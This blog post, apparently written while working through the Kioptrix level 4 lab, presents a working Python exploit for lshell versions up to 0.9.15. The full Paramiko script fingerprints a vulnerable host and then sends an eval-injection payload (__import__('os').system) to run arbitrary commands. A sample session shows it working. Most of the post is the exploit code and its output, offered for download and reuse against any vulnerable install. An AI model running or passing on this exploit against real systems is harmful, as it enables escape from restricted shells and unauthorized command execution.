lshell 0.9.15 pathing vulnerability
While working through Kioptrix level 4, I stumbled into lshell, a limited shell environment developed in Python. I don’t want to walk through the vulnerability again, but at a high level versions <= 0.9.15 are vulnerable to an unsanitized eval() call with user supplied input. I couldn’t find a working PoC, so I wrote one.
This will verify the install and spawn a pseudo-shell for running commands on the remote host. While it may be more beneficial to just log in and run the exploit to spawn /bin/bash, this is a nice hacky way to quickly enumerate and tool around on the back end:
root@bt:~/kioptrix_l4# python lshell_remote.py john ****** 192.168.1.39
[!] .............................
[!] lshell <= 0.9.15 remote shell.
[!] note: you can also ssh in and execute '/bin/bash'
[!] .............................
[!] Checking host 192.168.1.39...
[+] vulnerable lshell found, preparing pseudo-shell...
$ id
uid=1001(john) gid=1001(john) groups=115(admin),1001(john)
$ ls -l
total 48
-rwxr-xr-x 1 john john 1544 2009-01-20 19:51 install.sh
-rw-r--r-- 1 john john 7715 2009-01-20 19:06 lib_mysqludf_sys.c
-rw-r--r-- 1 john john 9934 2009-01-21 19:42 lib_mysqludf_sys.html
-rwxr-xr-x 1 john john 12896 2009-01-19 04:11 lib_mysqludf_sys.so
-rw-r--r-- 1 john john 1647 2009-01-21 19:43 lib_mysqludf_sys.sql
-rw-r--r-- 1 john john 122 2009-01-19 04:11 Makefile
$ ls -l | grep 'Makefile'
-rw-r--r-- 1 john john 122 2009-01-19 04:11 Makefile
$ exit
root@bt:~/kioptrix_l4#
You can run pretty much everything except for binary files; this is because of the shell environment changing. I wasn’t able to figure out a clean way to attach a TTY to the stdin/stdout/stderr, so if anyone knows of a way to do this with Paramiko, drop me a message. I’ll take any bug reports as well. This requires Paramiko libraries to be installed; tested with Python 2.7.x.
Pastebin link for download and code:
import paramiko
import traceback
from time import sleep
#
# Exploit lshell pathing vulnerability in <= 0.9.15.
# Runs commands on the remote system.
# @dronesec
#
if len(sys.argv) < 4:
print '%s: [USER] [PW] [IP] {opt: port}'%(sys.argv[0])
sys.exit(1)
try:
print '[!] .............................'
print '[!] lshell <= 0.9.15 remote shell.'
print '[!] note: you can also ssh in and execute \'/bin/bash\''
print '[!] .............................'
print '[!] Checking host %s...'%(sys.argv[3])
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
if len(sys.argv) == 5:
ssh.connect(sys.argv[3],port=int(sys.argv[4]),username=sys.argv[1],password=sys.argv[2])
else:
ssh.connect(sys.argv[3],username=sys.argv[1],password=sys.argv[2])
# verify lshell
channel = ssh.invoke_shell()
while not channel.recv_ready(): sleep(1)
ret = channel.recv(2048)
channel.send('help help\n')
while not channel.recv_ready(): sleep(1)
ret = channel.recv(2048)
if not 'lshell' in ret:
if 'forbidden' in ret:
print '[-] Looks like we can\'t execute SSH commands'
else:
print '[-] Environment is not lshell'
sys.exit(1)
# verify vulnerable version
channel.send('sudo\n')
while not channel.recv_ready(): sleep(1)
ret = channel.recv(2048)
if not 'Traceback' in ret:
print '[-] lshell version not vulnerable.'
sys.exit(1)
channel.close()
ssh.close()
# exec shell
print '[+] vulnerable lshell found, preparing pseudo-shell...'
if len(sys.argv) == 5:
ssh.connect(sys.argv[3],port=int(sys.argv[4]),username=sys.argv[1],password=sys.argv[2])
else:
ssh.connect(sys.argv[3],username=sys.argv[1],password=sys.argv[2])
while True:
cmd = raw_input('$ ')
# breaks paramiko
if cmd[0] is '/':
print '[!] Running binaries won\'t work!'
continue
cmd = cmd.replace("'", r"\'")
cmd = 'echo __import__(\'os\').system(\'%s\')'%(cmd.replace(' ',r'\t'))
if len(cmd) > 1:
if 'quit' in cmd or 'exit' in cmd:
break
(stdin,stdout,stderr) = ssh.exec_command(cmd)
out = stdout.read()
print out.strip()
except paramiko.AuthenticationException:
print '[-] Authentication to %s failed.'%sys.argv[3]
except Exception, e:
print '[-] Error: ', e
print type(e)
traceback.print_exc(file=sys.stdout)
finally:
channel.close()
ssh.close()